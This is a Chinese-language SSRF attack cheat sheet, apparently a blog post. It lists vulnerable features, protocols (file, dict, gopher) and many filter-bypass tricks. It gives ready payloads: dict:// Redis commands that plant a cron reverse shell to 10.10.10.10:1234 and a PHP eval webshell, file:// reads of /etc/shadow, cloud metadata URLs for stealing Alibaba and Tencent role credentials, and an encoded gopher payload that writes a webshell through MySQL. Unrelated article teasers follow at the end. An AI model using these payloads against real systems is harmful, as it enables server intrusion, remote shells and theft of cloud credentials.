SSRF相关
SSRF(Server Side Request Forgery,服务器端请求伪造),攻击者以服务器的身份发送一条构造好的请求给服务器所在地内网进行探测或攻击。
产生原理:
服务器端提供了能从其他服务器应用获取数据的功能,如从指定url获取网页内容、加载指定地址的图片、数据、下载等。
例:http://xxx.com/api/readFiles?url=http://10.10.10.10/xxx
常见功能点、关键字、利用的协议
容易出现 SSRF 的功能点
一切要你输入网址的地方和可以输入ip的地方。有 URL 传参的功能点都有可能。
1、转码服务、在线翻译
● 示例 :翻译网页内容、HTML 转 PDF、内容格式转换等
2、图片加载与下载
● 示例:通过 URL 加载图片、下载远程图片、显示头像。
3、网页内容展示、分析
● 示例:通过URL地址进行网页分享、通过URL地址把原地址的网页转换格式
4、远程资源调用
● 示例:服务器根据 url 获取资源,如 js、css、图片等
5、富文本编辑器
● 示例: UEditor、TinyMCE 自动抓取粘贴内容中的远程图片。
6、 网站采集 / 抓取功能
● 示例:爬虫任务、网页快照、资讯聚合平台。
7、 内容打包与导出
● 示例:HTML转PDF、内容封装下载。
8、 头像功能
● 示例:通过第三方 URL 加载用户头像。
9、 内容收藏 / 收藏夹功能
● 示例:收藏文章、图片时后台请求原地址。
10、 存活检测 / URL健康检查
● 示例:检测目标设备是否在线、URL是否可访问。
常见 SSRF 功能点参数
从URL关键字中寻找:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
常见的利用协议
http 协议:可以直接访问 http 资源
http://www.test.com/readFiles?url=http://20.10.10.10/xxx.php
file 协议:读取文件
http://www.test.com/readFiles?url=file:///etc/passwd
/etc/passwd
/etc/shadow
/etc/hosts //有时候会存放内网地址(静态映射)
/proc/net/arp //arp缓存c存放位置,其中保存着最近通信过的设备的 IP 地址与 MAC 地址的映射关系
/proc/net/fibn_trie //存放网络适配器地址
得到了内网地址,可以使用http协议爆破网段内的其他内网地址,然后使用dict协议进行端口探测
dict 协议:探测开放端口、主机存活
http://www.test.com/readFiles?url=dict://1000.1.22
gopher 协议:支持 GET 和 POST 请求,可进行复杂漏洞利用
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的协议:
● http://
● file:///
● dict://
● sftp://
● ldap://
● tftp://
● gopher://
http协议
直接访问资源,探测内网主机端口、探测内网主机存活、目录扫描
http://xxx.com/ssrf_curl.php?url=http://127.0.0.1:80/xxx.php
file协议
读取本地文件
http://xxx.com/ssrf_curl.php?url=file:///D:/tools/phpstudy/phpstudy_pro/WWW/name.php
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib _trie 显示当前网段路由信息
dict协议
泄露安装软件版本信息、扫描端口、获取内网信息、操作内网redis服、爆破密码等
dict执行多行命令时,只能一次执行单行,需要多次执行。
一、探测端口和服务指纹
dict://127.0.0.1:3306
二、dict攻击redis:写入定时任务,反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
//使用config set命令指定redis的dbfiename为root
dict://127.0.0.1:6379/config:set:dbfilename:root
//设置redis的dir为/var/spool/cron
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
//设置一个键值对,test为键名,后面为定时任务内容
dict://127.0.0.1:6379/set:test:“\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n”
//保存
dict://127.0.0.1:6379/save
三、dict攻击redis:写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:“\n\n<?php @eval($_POST[1]);?>\n\n”
dict://127.0.0.1:6379/save
gopher协议
发送GET或POST请求、攻击内网应用(redis、fastcgi、sql、smtp等)
基本格式:
gopher://ip:port/abcd
● 由于gopher请求不转发第一个字符,要使用下划线()或其他符号填充首位。
● 在gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行,数据流末尾使用%0d%0a代表消息结束
绕过
绕过特定限制
使用@绕过域名限制
一般用于 http://www.xxx.com 等域名不可修改的情况。
例如:http://www.xxx.com@127.0.0.1实际上访问的是 127.0.0.1
使用@绕过域名限制
403
GET /proxy?url=https:///10.10.10.10/ HTTP/1.1
Host: xxx.com
添加 @进行绕过
200
GET /proxy?url=https:///10.10.10.10@www.xxx.com/ HTTP/1.1
Host: xxx.com
成功访问到 vps:10.10.10.10
这里的 10.10.10.10可以是 vps,dnslog 等
使用/#/绕过后缀限制
一般用 png,jpg 等后缀不能更改
访问 http://10.10.10.10:5001/#/123.jpg
实际上访问的就是 http://10.10.10.10:5001
绕过请求 IP 不能为内网地址
DNS重绑定
攻击原理:
用户输入完url之后,服务器提取 url 中的host并进行dns解析为ip,然后判断ip是否在指定范围内,但是在判断得到的 ip 为指定范围内的ip,到服务器请求url这个过程中间存在一个细微的时间差。
DNS重绑定利用的就是这个时间差,让服务器第一次解析host的ip为符合的公网ip,在第二次请求解析 url时host的ip又变为不符合规则的内网ip,从而进行SSRF。
整个过程对于浏览器来说整个过程都是访问同一域名,因此认为是安全的,这就导致绕过。
可以直接使用 bp 进行并发。
在线利用网站:https://lock.cmpxchg8b.com/rebinder.html
TTL最理想的设置为0,即在第一次解析之后,立马换为我们想要访问的内网ip,但有些公共DNS服务器,比如 114.114.114.114还是会把记录进行缓存。
在某些情况下,我们甚至可以对同一个域名设置两个A记录(一个内网、一个外网),随机访问两条记录中的一个,就会有概率成功。
https://lock.cmpxchg8b.com/rebinder.html
最好在第一个填写公网地址,第二个填写内网地址。然后复制下面的url,拿到具有该漏洞的页面进行测试。例如:
http://deb7400b.7f000001.rbndr.us/flag.php
302 重定向
使用自己的vps进行重定向
使用自己搭建的vps进行重定向。
创建一个302.php文件,内容如下。
如果是src,有的会给测试靶子,将ip替换即可
sudo.cc重定向
有一个sudo.cc的服务,当访问这个服务的时候,会自动重定向到127.0.0.1。
绕过时使用sudo.cc代替127.0.0.1即可。或者使用www.localtest.med代替
root@VM-8-8-ubuntu:/# ping sudo.cc -c 4
PING sudo.cc (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.036 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.034 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.033 ms
— sudo.cc ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.026/0.032/0.036/0.003 ms
使用。代替.
http://127.0.0.1变成http://127。1。1。1,这里没有成功,
进制转换
将127.0.0.1转换成其他进制绕过检测
0177.0.0.1 //八进制
0x7f.0.0.1 //十六进制
2130706433 //十进制
127.0.0.1 点分十进制
0b01111111000000000000000000000001 二进制
017700000001 八进制
0x7F000001 十六进制
2130706433 十进制(连续)
0177.0000.0000.0001 点分八进制
0x7F.0x00.0x00.0x01 点分十六进制
0x7F.0.0.1 也可以只转一个
省略0
http://127.0.0.1变成http://127.1
root@VM-8-8-ubuntu:/# ping 127.1 -c 4
PING 127.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.038 ms
— 127.1 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3070ms
rtt min/avg/max/mdev = 0.028/0.033/0.038/0.003 ms
特殊0
在windows下,0代表0.0.0.0,在linux下,0代表127.0.0.1
C:\Users\40835>ping 0
正在 Ping 0.0.0.0 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
0.0.0.0 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
root@VM-8-8-ubuntu:/# ping 0 -c 4
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.038 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.030 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.032 ms
— 0 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3056ms
rtt min/avg/max/mdev = 0.030/0.033/0.038/0.003 ms
也可以尝试4位都写0:0.0.0.0
root@VM-8-8-ubuntu:/# ping 0.0.0.0 -c 4
PING 0.0.0.0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.027 ms
— 0.0.0.0 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3073ms
rtt min/avg/max/mdev = 0.026/0.031/0.036/0.004 ms
ipv6表示法绕过
[0:0:0:0:0:ffff:127.0.0.1]是ipv6兼容ipv4的格式
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
本地回环地址绕过
整个 127.0.0.0/8都是回环地址,使用 127.0.0.2代替 127.0.0.1,或者其他都可以尝试。
短网址绕过
利用下面这个网站,生成指定网址的短网址
https://www.985.so/
封闭式字符集
127.0.0.1
转换成
①②⑦. ⓪.⓪.①
字符集
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
xip.io
10.10.10.10.xip.io会被解析成 10.10.10.10
自动化测试
常规正则匹配:
在AutoRepeater(burp 插件)中配置自动替换规则,将下面正则替换为你自己的 DNSLog 地址即可。
autoReapter中最好加入baseReplacement模块,其他模块没有反应。直接加入优化后的两个正则即可。
((https|http|file)😕/.)|((https|http|file)%3(a|A)%2(f|F)%2(f|F).)
优化正则匹配1:
(https?😕/(?:www.)?[-a-zA-Z0-9@:%.+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]*)|https?%3(a|A)%2(f|F)%2(f|F)(?:www.)?[-a-zA-Z0-9@:%.+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]))
(https?😕/(?:www.)?[-a-zA-Z0-9@:%._+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=])|https?%3(a|A)%2(f|F)%2(f|F)(?:www.)?[-a-zA-Z0-9@:%._+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]*))
优化正则匹配2:
当传参中存在一个固定的相对路径,这个相对链接正常是拼接到当前域名的
POST xxx/test
xxxx
xxxx
data=[“/pic/getpicurl”]
这个目录实际上也是网站的目录,可以尝试使用@进行绕过,替换为[/pic/getpicurl@10.10.10.10]这种格式。
下面为匹配这种格式url的正则
((?:%2[fF][\w.-]+(?:%2[fF][\w.-]))(?:%3fF)?|(?😕[\w.-]+(?😕[\w.-]))(?:?([\w.%3D&=-]+))?)
((?:%2[fF][\w.-]+(?:%2[fF][\w.-]))(?:%3fF)?|(?😕[\w.-]+(?😕[\w.-]))(?:?([\w.%3D&=-]+))?)
流程
查看bp的dnslog是否收到请求,证明当前功能点可以对外发起请求
判断是否有回显
● 有回显
○ 如果是有ssrf靶子的src,直接替换成靶子的ip
○ 如果没有靶子,尝试dict协议探测127.0.0.1端口、内网ip、file协议读取敏感文件、http协议探测、gohper协议等等…
● 无回显
○ 如果有无回显的ssrf靶子,就替换成靶子的ip
○ 如果没有靶子,就使用自己的dnslog地址,使用dict协议,去探测端口,根据响应时长
利用
云上 SSRF 利用
ssrf探测src内网均失败,猜测为云服务器,于是探测元数据地址,成功回显
各大厂商的元数据地址 :
阿里云元数据地址:http://100.100.100.200/
腾讯云元数据地址:http://metadata.tencentyun.com/
华为云元数据地址:http://169.254.169.254/
亚马云元数据地址:http://169.254.169.254/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/
将返回的base64解码,得到服务器数据,证明SSRF全回显。
腾讯云深度利用
访问元数据
http://metadata.tencentyun.com/latest/meta-data/ 获取 metadata 版本信息。
查询实例元数据。
http://metadata.tencentyun.com/latest/meta-data/placement/region
获取实例物理所在地信息。
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
获取实例内⽹ IP。实例存在多张⽹卡时,返回 eth0 设备的⽹络地址。
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
获取实例公⽹ IP。
http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id
实例⽹络接⼝ VPC ⽹络 ID。
在获取到⻆⾊名称后,可以通过以下链接取⻆⾊的临时凭证,KaTeX parse error: Unexpected character: '' at position 86: …ta/cam/security̲credentials/{rolename}
如果配置cam的情况下,可以尝试获取用户凭证并接管。
阿里云深度利用
查看实例元数据的根目录
http://100.100.100.200/latest/meta-data
查看实例ID:
http://100.100.100.200/latest/meta-data/instance-id
访问RAM 角色的临时凭证:
http://100.100.100.200/latest/meta-data/ram/security-credentials/
获取AK SK信息
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorpterraform-goat-role
打Redis
gopher打redis时,需要二次url编码。也可以使用gopherus
打MySQL
利用工具gopherus生成payload(需要python2环境):https://github.com/tarunkant/Gopherus
其中有时下划线后面的内容需要再url编码一次。
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501
其他
可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
下载内网资源(如:利用file协议读取本地文件等)
进行跳板
无视cdn
利用Redis未授权访问,HTTP CRLF注入实现getshell
相关文章:
SSRF相关
SSRF(Server Side Request Forgery,服务器端请求伪造),攻击者以服务器的身份发送一条构造好的请求给服务器所在地内网进行探测或攻击。 产生原理: 服务器端提供了能从其他服务器应用获取数据的功能,如从指定url获取网页内容、加载指定地址的图…...
供应链学习
供应链安全 供应链:整个业务系统中的节点(一般是上游节点) 乙方一般提供资源:人 软件 硬件 服务 如何寻找供应链 1.招投标信息:寻标包 例如:烟草 智能办公 2.网站本身指纹 例如: powered by xxx…...
力扣HOT100之二叉树:226. 翻转二叉树
这道题很简单,用递归来做,对于一个根节点来说,有两种情况我们不需要翻转:一是根节点为空,二是根节点为叶子节点。这很容易理解,当传入的节点不满足上面的两种情况时,我们就需要做一个翻转&#…...
如何让rabbitmq保存服务断开重连?保证高可用?
在 Spring Boot 集成 RabbitMQ 时,可以通过以下几种方式让 RabbitMQ 保存服务断开重连,以保证高可用: 配置自动重连 application.properties 配置 :在 Spring Boot 的配置文件 application.properties 中,可以设置 Ra…...
TCPIP详解 卷1协议 九 广播和本地组播(IGMP 和 MLD)
9.1——广播和本地组播(IGMP 和 MLD) IPv4可以使用4种IP地址:单播(unicast)、任播(anycast)、组播(multicast)和广播(broadcast)。 IPv6可以使用…...
全球变暖-bfs
1.不沉的就是4个方向没有海,一个大岛屿有一个不沉就行了,其余染色就好了 2.第一个bfs来统计总岛屿个数 3.第二个来统计不沉岛屿个数 4.一减就ac啦 #include<bits/stdc.h> using namespace std; #define N 100011 typedef long long ll; typede…...
DDD领域驱动开发
1. 现象: 软件设计质量最高的时候是第一次设计的那个版本(通常是因为第一次设计时,业务技术沟通最充分,从业务技术整体视角出发设计系统)。当第一个版本设计上线以后就开始各种需求变更,这常常又会打乱原有的设计。 2…...
【HarmonyOS 5】鸿蒙App Linking详解
【HarmonyOS 5】鸿蒙App Linking详解 一、前言 HarmonyOS 的 App Linking 功能为开发者提供了一个强大的工具,通过创建跨平台的深度聚合链接,实现用户在不同场景下的无缝跳转,极大地提升了用户转化率和应用的可用性。 其安全性、智能路由和…...
Android Studio 中 build、assemble、assembleDebug 和 assembleRelease 构建 aar 的区别
上一篇:Tasks中没有build选项的解决办法 概述: 在构建 aar 包时通常会在下面的选项中进行构建,但是对于如何构建,选择哪种方式构建我还是处于懵逼状态,所以我整理了一下几种构建方式的区别以及如何选择。 1. build…...
【爬虫】12306查票
城市代码: 没有加密,关键部分: 完整代码: import json import requests with open(rE:\学习文件夹(关于爬虫)\项目实战\12306\城市代码.json,r,encodingutf-8) as f:city_codef.read() city json.loads(c…...
火山RTC 7 获得远端裸数据
一、获得远端裸数据 1、获得h264数据 1)、远端编码后视频数据监测器 /*** locale zh* type callback* region 视频管理* brief 远端编码后视频数据监测器<br>* 注意:回调函数是在 SDK 内部线程(非 UI 线程)同步抛出来的&a…...
请求参数:Header 参数,Body 参数,Path 参数,Query 参数分别是什么意思,什么样的,分别通过哪个注解获取其中的信息
在API开发中(如Spring Boot),请求参数可以通过不同方式传递,对应不同的注解获取。以下是 Header参数、Body参数、Path参数、Query参数 的区别及对应的注解: Header 参数 • 含义:通过HTTP请求头&#x…...
【Web/HarmonyOS】采用ArkTS+Web组件开发网页嵌套的全屏应用
文章目录 1、简介2、效果3、在ArkTs上全屏Web3.1、创建ArkTS应用3.2、修改模块化配置(module.json5)3.3、修改系统栏控制(ArkTS代码) 4、双网页嵌套Web实现5、ArkTSWeb技术架构的演进 1、简介 在鸿蒙应用开发领域,技术…...
Leetcode (力扣)做题记录 hot100(34,215,912,121)
力扣第34题:在排序数组中查找第一个数和最后一个数 34. 在排序数组中查找元素的第一个和最后一个位置 - 力扣(LeetCode) class Solution {public int[] searchRange(int[] nums, int target) {int left 0;int right nums.length - 1;int[…...
Babylon.js学习之路《三、创建你的第一个 3D 场景:立方体、球体与平面》
文章目录 1. 引言:从零构建一个 3D 场景1.1 目标与成果预览1.2 前置条件 2. 初始化 Babylon.js 场景2.1 创建 HTML 骨架2.2 初始化引擎与场景 3. 创建基础几何体3.1 立方体(Box)3.2 球体(Sphere)3.3 平面(P…...
Go 语言即时通讯系统开发日志-day1:从简单消息收发 Demo 起步
Go语言即时通讯系统开发日志day1,主要模拟实现的一个简单的发送消息和接受消息的小demo,因为也才刚学习go语言的语法,对go的json、net/http库了解不多,所以了解了一下go语言的encoding/json库和net/http库,以及websock…...
AAAI-2025 | 中科院无人机导航新突破!FELA:基于细粒度对齐的无人机视觉对话导航
作者:Yifei Su, Dong An, Kehan Chen, Weichen Yu, Baiyang Ning, Yonggen Ling, Yan Huang, Liang Wang 单位:中国科学院大学人工智能学院,中科院自动化研究所模式识别与智能系统实验室,穆罕默德本扎耶德人工智能大学࿰…...
中科院无人机导航物流配送的智能变革!LogisticsVLN:基于无人机视觉语言导航的低空终端配送系统
作者:Xinyuan Zhang, Yonglin Tian, Fei Lin, Yue Liu, Jing Ma, Kornlia Sra Szatmry, Fei-Yue Wang 单位:中国科学院大学人工智能学院,中科院自动化研究所多模态人工智能系统国家重点实验室,澳门科技大学创新工程学院工程科学系…...
IP协议、以太网包头及UNIX域套接字
IP协议、以太网包头及UNIX域套接字 IP包头结构 IP协议是互联网的核心协议之一,其包头包含了丰富的信息来控制数据包的传输。让我们详细解析IPv4包头结构: 4位版本号(version):标识IP协议版本,IPv4值为4 4位首部长度(header len…...
普林斯顿数学三剑客读本分析。
这几天看了普斯林顿数学三剑客,主要看了微积分、概率论前半部分,数学分析看了目录,大体略读了一下。怎么说呢,整体上来看,是很不错的,适合平常性阅读,配套结合国内教材习题来深入还是很不错的。…...
Matlab 模糊pid的液压舵机伺服系统
1、内容简介 Matlab 235-模糊pid的液压舵机伺服系统 可以交流、咨询、答疑 2、内容说明 略 舵机是轮船,客机等机器控制系统的重要组成部分,是客机,战斗机等飞行器操作系统的关键部件,也是一种超高的精度的位置伺服系统ÿ…...
Linux基础命令之目录管理——了解各种操作文件目录的命令,万字教学,超详细!!!(1)
文章目录 前言1、Linux文件系统1.1 核心特点1.2 重要目录结构1.3 文件类型1.4 文件和目录的命名规则1.5 文件与目录的定位方式 2、查看目录或文件的详细信息(ls)2.1 基本语法2.2 常用操作2.3 高级用法 3、切换目录(cd)3.1 常用操作…...
中国黄土高原中部XF剖面磁化率和粒度数据
时间分辨率:1000年 < x空间分辨率为:空共享方式:申请获取数据大小;35.75 KB数据时间范围:743-0 ka元数据更新时间:2023-08-15 数据集摘要 该数据集包括中国黄土高原中部XF剖面磁化率和粒度数据。将所有…...
tabs切换#
1、html <el-tabs v-model"tabValue" tab-change"handleTabClick"><el-tab-pane label"集群" name"1"></el-tab-pane><el-tab-pane label"节点" name"2"></el-tab-pane></el-ta…...
免费Office图片音频高效提取利器
软件介绍 今天要给大家介绍一款非常好用的Office文档图片及音频提取工具,它不仅好用,而且完全免费,没有任何广告。 软件概况 这款名为Office File Picture Extractor(PPT图片提取)的软件,大小仅有4MB。打…...
迁移 Visual Studio Code 设置和扩展到 VSCodium
本文同步发布在个人博客 迁移 Visual Studio Code 设置和扩展到 VSCodium - 萑澈的寒舍https://hs.cnies.org/archives/vscodium-migrateVisual Studio Code(以下简称 VS Code)无疑是当下最常用的代码编辑器。尽管微软的 VS Code 源代码采用 MIT 协议开…...
1.7 方向导数
(底层逻辑演进脉络)从"单车道"到"全路网"的导数进化史: 一、偏导数奠基(1.6核心) 诞生背景:多元函数分析需求 当变量间存在耦合关系时(如房价面积单价装修成本)…...
深入理解目标检测中的关键指标及其计算方法
深入理解目标检测中的关键指标及其计算方法 在目标检测领域,评估模型性能时,我们通常会关注几个关键指标,这些指标帮助我们量化模型的准确性和有效性。本文将详细介绍这些常见指标及其计算方法,帮助你更好地理解和评估目标检测模…...
Ollama+OpenWebUI+docker完整版部署,附带软件下载链接,配置+中文汉化+docker源,适合内网部署,可以局域网使用
前言: 因为想到有些环境可能没法使用外网的大模型,所以可能需要内网部署,看了一下ollama适合小型的部署,所以就尝试了一下,觉得docker稍微简单一点,就做这个教程的,本文中重要的内容都会给下载…...
【Redis实战篇】分布式锁-Redisson
1. 分布式锁-redisson功能介绍 基于setnx实现的分布式锁存在下面的问题: 重入问题: 重入问题是指 获得锁的线程可以再次进入到相同的锁的代码块中,可重入锁的意义在于防止死锁,比如HashTable这样的代码中,他的方法都…...
构造二叉树
一、由中序和后序遍历序列构造二叉树 106. 从中序与后序遍历序列构造二叉树 - 力扣(LeetCode) /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* …...
vue3: pdf.js 3.4.120 using javascript
npm install pdfjs-dist3.4.120 项目结构: pdfjsViewer.vue <template><div><div v-if"loading" class"flex justify-center items-center py-8"><div class"animate-spin rounded-full h-12 w-12 border-b-2 borde…...
编译原理AST以Babel为例进行解读、Webpack中自定义loader与plugin
AST树详解 编译原理 主要研究如何将高级编程语言的源代码转换为机器能理解的目标代码(通常是二进制代码或中间代码)。编译器的底层实现通常包含多个阶段,包括词法分析、语法分析、语义分析和代码生成。 一、AST的核心概念与作用 AST&#…...
牛客周赛 Round 92
目录 A-小红的签到题 代码 B-小红的模拟 代码 C-小红的方神题 代码 D-小红的数学题 代码 无注释版 有注释版 E-小红的ds题 代码 无注释版 有注释版 A-小红的签到题 代码 #include<bits/stdc.h> using namespace std; int main(){int n;cin>>n;cha…...
面试题:C++虚函数可以是内联函数吗?
目录 1.引言 2.示例 3.总结 1.引言 为什么C的虚函数和内联函数这两个看似矛盾的特性能否共存?这个问题实际上触及了C编译期优化与运行时多态性之间的微妙平衡。我发现这个问题不仅是面试中的常见陷阱,更是理解C深层机制很好的一个点。 虚函数可以被声…...
蚁群算法赋能生鲜配送:MATLAB 实现多约束路径优化
在生鲜农产品配送中,如何平衡运输效率与成本控制始终是行业难题。本文聚焦多目标路径优化,通过 MATLAB 实现蚁群算法,解决包含载重限制、时间窗约束、冷藏货损成本的复杂配送问题。代码完整复现了从数据生成到路径优化的全流程,助…...
前苹果首席设计官回顾了其在苹果的设计生涯、公司文化、标志性产品的背后故事
每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…...
《基于 Kubernetes 的 WordPress 高可用部署实践:从 MariaDB 到 Nginx 反向代理》
手把手教你用 Kubernetes 部署高可用 WordPress 博客 本实验通过 Kubernetes 容器编排平台,完整部署了一个高可用的 WordPress 网站架构,包含 MariaDB 数据库、WordPress 应用和 Nginx 反向代理三大核心组件。实验涵盖了从基础环境准备到最终服务暴露的…...
文件上传总结
攻击与绕过方式 一、条件竞争 攻击原理:在上传文件的同时利用代码逻辑中的时序问题(如 unlink() 删除操作)触发条件竞争,从而实现上传恶意文件并绕过限制。 示例测试源码: 以下为测试文件上传功能的 PHP 源码ÿ…...
在文档里如何引用在线SVG甘特图
在文档里如何引用在线SVG甘特图 介绍 本文将详细介绍如何快速创建一个功能强大的在线甘特图,并将其嵌入到其他文档(如 Notion、Wiki、Qiita、GitHub、Obsidian、Email 等)中。只要目标工具支持引用网络图片,你就可以轻松实现这一…...
Spring AI 与 Groq 的深度集成:解锁高效 AI 推理新体验
